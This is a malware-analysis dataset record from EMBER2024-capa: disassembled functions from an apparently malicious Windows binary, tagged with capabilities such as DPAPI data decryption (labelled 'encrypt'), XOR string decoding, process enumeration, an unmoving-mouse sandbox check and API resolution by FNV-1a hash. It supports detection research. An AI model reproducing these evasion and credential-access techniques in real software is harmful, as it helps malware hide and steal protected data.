joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41fe20
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x41fe69
add esi, 0x10
cmp esi, 0x800
jbe 0x41fe40
cmp esi, 0x800
jae 0x41fe8e
push 0x800
call fcn.004eb5ec
mov edi, eax
add esp, 4
test edi, edi
jne 0x41fe96
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004debb0
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004de630
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402810
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.004658e0
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x41ff28
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ff1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff43
push ecx
push edx
call fcn.004dcbd1
add esp, 8
push edi
call fcn.004eae96
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004e1e70
int3
Function at 0x424200
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x424222
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x424210
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
ret
Function at 0x428010
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x86], 0
je 0x428037
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x85
jb 0x428020
mov byte [esi + 0x86], 0
mov eax, esi
pop esi
ret

Function at 0x428040
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x428062
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x428050
mov byte [esi + 0x57], 0
mov eax, esi
pop esi
ret
Function at 0x42a230
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x66], 0
je 0x42a252
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x65
jb 0x42a240
mov byte [esi + 0x66], 0
mov eax, esi
pop esi
ret
Function at 0x436810
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4b], 0
je 0x436832
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x436820
mov byte [esi + 0x4b], 0
mov eax, esi
pop esi
ret
Function at 0x438f00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2a], 0
je 0x438f22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x29
jb 0x438f10
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
ret
Function at 0x43f010
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506d0d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
push 0xff
call fcn.004eb5ec
push 0xff
mov edi, eax
push 0
push edi
call fcn.004debb0
push 0xff
call fcn.004eb5ec
push 0xff
push 0
push eax
mov dword [ebp - 0x18], eax
call fcn.004debb0
movaps xmm0, xmmword [0x525c10]
add esp, 0x20
movups xmmword [ebp - 0x64], xmm0
xor ecx, ecx
mov dword [ebp - 0x44], 0x50656f79
movaps xmm0, xmmword [0x525500]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0x7d62616e
mov dword [ebp - 0x3c], 0x777c70
mov byte [ebp - 0x38], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x2b
jb 0x43f0a8
lea eax, [ebp - 0x14]
mov byte [ebp - 0x38], 0
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43f210
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xff
push eax
push edi
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x43f210
mov ecx, edi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x34], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f118
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x34]
call fcn.00402810
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, 1
jb 0x43f225
lea ecx, [eax - 5]
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
inc eax
lea ecx, [ebp - 0x50]
push eax
call fcn.00402810
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmovae ecx, esi
add eax, 0xffffffef
push eax
push ecx
push dword [ebp - 0x18]
call fcn.004de630
mov eax, dword [ebp - 0x3c]
add esp, 0xc
cmp eax, 0x10
jb 0x43f1c1
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x43f1b7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f22a
push ecx
push esi
call fcn.004dcbd1
add esp, 8
push edi
call fcn.004eae96
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x43f1fa
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f1f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f22f
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00469030
call fcn.004e1e70
call fcn.004e1e70
int3
Function at 0x442200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4422a4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x44229d
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x44224a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x442270
test dl, dl
je 0x44226c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x442270
add ecx, 2
add eax, 2
test dl, dl
jne 0x442250
xor eax, eax
jmp 0x442275
sbb eax, eax
or eax, 1
test eax, eax
je 0x442299
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x442240
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4422b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5070bf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x50
push esi
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
push edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x2b], 0x8d8e9e9a
mov dword [ebp - 0x27], 0x888ac080
mov word [ebp - 0x23], 0x94
mov byte [ebp - 0x21], 1
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x442330
xorps xmm0, xmm0
mov byte [ebp - 0x21], 0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x442360
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402810
lea ecx, [ebp - 0x5c]
call fcn.00442200
mov ecx, dword [ebp - 0x48]
mov edi, eax
cmp ecx, 0x10
jb 0x4423b4
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4423aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4424de
push ecx
push edx
call fcn.004dcbd1
add esp, 8
test edi, edi
je 0x4424c9
cmp edi, 0xea60
jae 0x4424c9
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov edx, edi
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x18], 3
call fcn.00441c10
xor ecx, ecx
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x28]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x442466
xor esi, esi
nop
lea eax, [edi + esi]
lea ecx, [ebp - 0x44]
cmp ecx, eax
je 0x442442
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x442435
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00465640
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x14]
sub ecx, edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x14], eax
jb 0x442420
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00467c60
cmp dword [ebp - 0x34], 0
jbe 0x442499
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x44]
push ecx
cmp eax, dword [esi + 8]
je 0x442491
mov ecx, eax
call fcn.00465a60
add dword [esi + 4], 0x18
jmp 0x442499
push eax
mov ecx, esi
call fcn.004726f0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x4424c9
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4424bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4424de
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
int3
Function at 0x4451d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1e], 0
je 0x4451f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1d
jb 0x4451e0
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
ret

Function at 0x445200
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x37], 0
je 0x445222
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x36
jb 0x445210
mov byte [esi + 0x37], 0
mov eax, esi
pop esi
ret
Function at 0x45ec50
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x18]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
call ebx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
je 0x45ed38
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x45ed38
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 4], ecx
cmp ecx, esi
je 0x45ecf4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ecf4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45eced
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ecd0
cmp esi, 0x2fa62ca8
je 0x45ecf8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ecb5
mov eax, dword [eax]
jmp 0x45ec90
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
push 0x3e9
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
je 0x45ed38
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x45edd7
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 8], ecx
cmp ecx, edx
je 0x45eda9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45eda9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45eda2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45ed85
cmp esi, 0x2fa62ca8
je 0x45edad
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45ed70
mov eax, dword [eax]
jmp 0x45ed44
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x45ec65
push 0
push 0xce440
call fcn.00407d20
add esp, 8
or eax, edx
je 0x45edee
mov bl, 1
jmp 0x45edf0
xor bl, bl
push 0
push 0xce3df
call fcn.00407d20
add esp, 8
mov byte [eax + 0x535ec0], bl
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462090
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x31], 0
je 0x4620b2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x30
jb 0x4620a0
mov byte [esi + 0x31], 0
pop esi
ret

Function at 0x4620c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x35], 0
je 0x4620e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x34
jb 0x4620d0
mov byte [esi + 0x35], 0
pop esi
ret

Function at 0x4621e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1e], 0
je 0x462202
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1d
jb 0x4621f0
mov byte [esi + 0x1e], 0
pop esi
ret

Function at 0x462420
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x33], 0
je 0x462442
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x32
jb 0x462430
mov byte [esi + 0x33], 0
pop esi
ret

Function at 0x462450
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x462472
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x462460
mov byte [esi + 0x57], 0
pop esi
ret

Function at 0x462480
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x4624a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x462490
mov byte [esi + 0x21], 0
pop esi
ret

Function at 0x4624d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x4624f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x4624e0
mov byte [esi + 0x23], 0
pop esi
ret

Function at 0x462500
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1b], 0
je 0x462522
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1a
jb 0x462510
mov byte [esi + 0x1b], 0
pop esi
ret

Function at 0x462530
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x5a], 0
je 0x462552
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x59
jb 0x462540
mov byte [esi + 0x5a], 0
pop esi
ret

Function at 0x462560
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x25], 0
je 0x462582
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x24
jb 0x462570
mov byte [esi + 0x25], 0
pop esi
ret
Function at 0x462590
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x4625b2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x4625a0
mov byte [esi + 0x17], 0
pop esi
ret

Function at 0x4625c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x5c], 0
je 0x4625e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x5b
jb 0x4625d0
mov byte [esi + 0x5c], 0
pop esi
ret

Function at 0x4625f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x27], 0
je 0x462612
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x26
jb 0x462600
mov byte [esi + 0x27], 0
pop esi
ret

Function at 0x462640
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2e], 0
je 0x462662
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x2d
jb 0x462650
mov byte [esi + 0x2e], 0
pop esi
ret

Function at 0x462670
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x462692
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x462680
mov byte [esi + 0x1a], 0
pop esi
ret

Function at 0x462880
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
je 0x4628a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1c
jb 0x462890
mov byte [esi + 0x1d], 0
pop esi
ret

Function at 0x4628b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 7], 0
je 0x4628d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 6
jb 0x4628c0
mov byte [esi + 7], 0
pop esi
ret

Function at 0x4628e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x34], 0
je 0x462902
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x33
jb 0x4628f0
mov byte [esi + 0x34], 0
pop esi
ret

Function at 0x462910
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xf], 0
je 0x462932
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xe
jb 0x462920
mov byte [esi + 0xf], 0
pop esi
ret

Function at 0x462940
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x462962
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x462950
mov byte [esi + 0x22], 0
pop esi
ret
Function at 0x462970
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x462992
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x462980
mov byte [esi + 0x15], 0
pop esi
ret

Function at 0x4629a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
je 0x4629c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x17
jb 0x4629b0
mov byte [esi + 0x18], 0
pop esi
ret

Function at 0x4629d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1c], 0
je 0x4629f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x1b
jb 0x4629e0
mov byte [esi + 0x1c], 0
pop esi
ret

Function at 0x462a00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x462a22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x462a10
mov byte [esi + 0x14], 0
pop esi
ret

Function at 0x462a30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
je 0x462a52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x2c
jb 0x462a40
mov byte [esi + 0x2d], 0
pop esi
ret

Function at 0x462a60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x462a82
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x462a70
mov byte [esi + 0x13], 0
pop esi
ret

Function at 0x462a90
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xd], 0
je 0x462ab2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xc
jb 0x462aa0
mov byte [esi + 0xd], 0
pop esi
ret

Function at 0x462ac0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x462ae2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x462ad0
mov byte [esi + 0xb], 0
pop esi
ret

Function at 0x462af0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 9], 0
je 0x462b12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 8
jb 0x462b00
mov byte [esi + 9], 0
pop esi
ret

Function at 0x462b20
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x462b42
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x17]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x462b30
mov byte [esi + 0x10], 0
pop esi
ret